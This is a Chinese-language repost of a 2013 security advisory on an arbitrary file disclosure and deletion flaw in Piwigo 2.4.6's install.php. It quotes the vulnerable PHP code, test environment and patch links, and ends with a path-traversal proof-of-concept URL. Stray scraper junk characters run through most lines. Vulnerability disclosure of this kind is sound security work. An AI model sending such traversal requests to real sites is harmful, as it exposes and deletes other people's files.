Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。
; v* R5 X  s2 r* ?1 a* ~* `
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
====================================================================
1 Z: `3 m4 _: Q2 c* c/install.php:
' c0 [* x. G: t& _5 V; d: p- J-------------
1 h; p- |9 _9 \; n/ H4 B% m9 b0 c113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
) `0 n  x9 t' U115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
7 }, G0 I9 j% l0 ~% q118:   header('Content-Disposition: attachment; filename="database.inc.php"');
9 i0 _0 P$ n/ Z3 [5 Y119:   header('Content-Transfer-Encoding: binary');
  j1 J2 S8 z3 c120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
6 e0 w! D4 d$ B! P) N' |122:   unlink($filename);
% y( V5 _& E4 \: E2 [123:   exit();
" g6 y: U" F. s124: }
====================================================================
+ p( O) q5 I! X" U
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
# M( ~9 y  ^/ E6 A6 g: k4 i: Z5 ?           Apache 2.4.2 (Win32)
! R" C9 Z) `9 i+ R0 u           PHP 5.4.4
           MySQL 5.5.25a
' Q) v1 G, X% w) _1 K' z
( f( |4 t+ p& J: T" vVulnerability discovered by Gjoko 'LiquidWorm' Krstic
3 s: R3 x1 F! I, M, J/ s% i: v                            @zeroscience

2 m7 x. V% z' U7 lAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
8 }$ d- E" ?2 {8 X6 [Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013
3 @/ z( h% ?0 d: C2 O3 J
: c, ^( g/ X7 ^3 _5 L--
% K2 U5 H3 P/ z7 A* p% S9 Shttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
* }5 X7 z9 ~3 T1 J& r3 b
, E$ S* h& H& b3 f' w! O1 V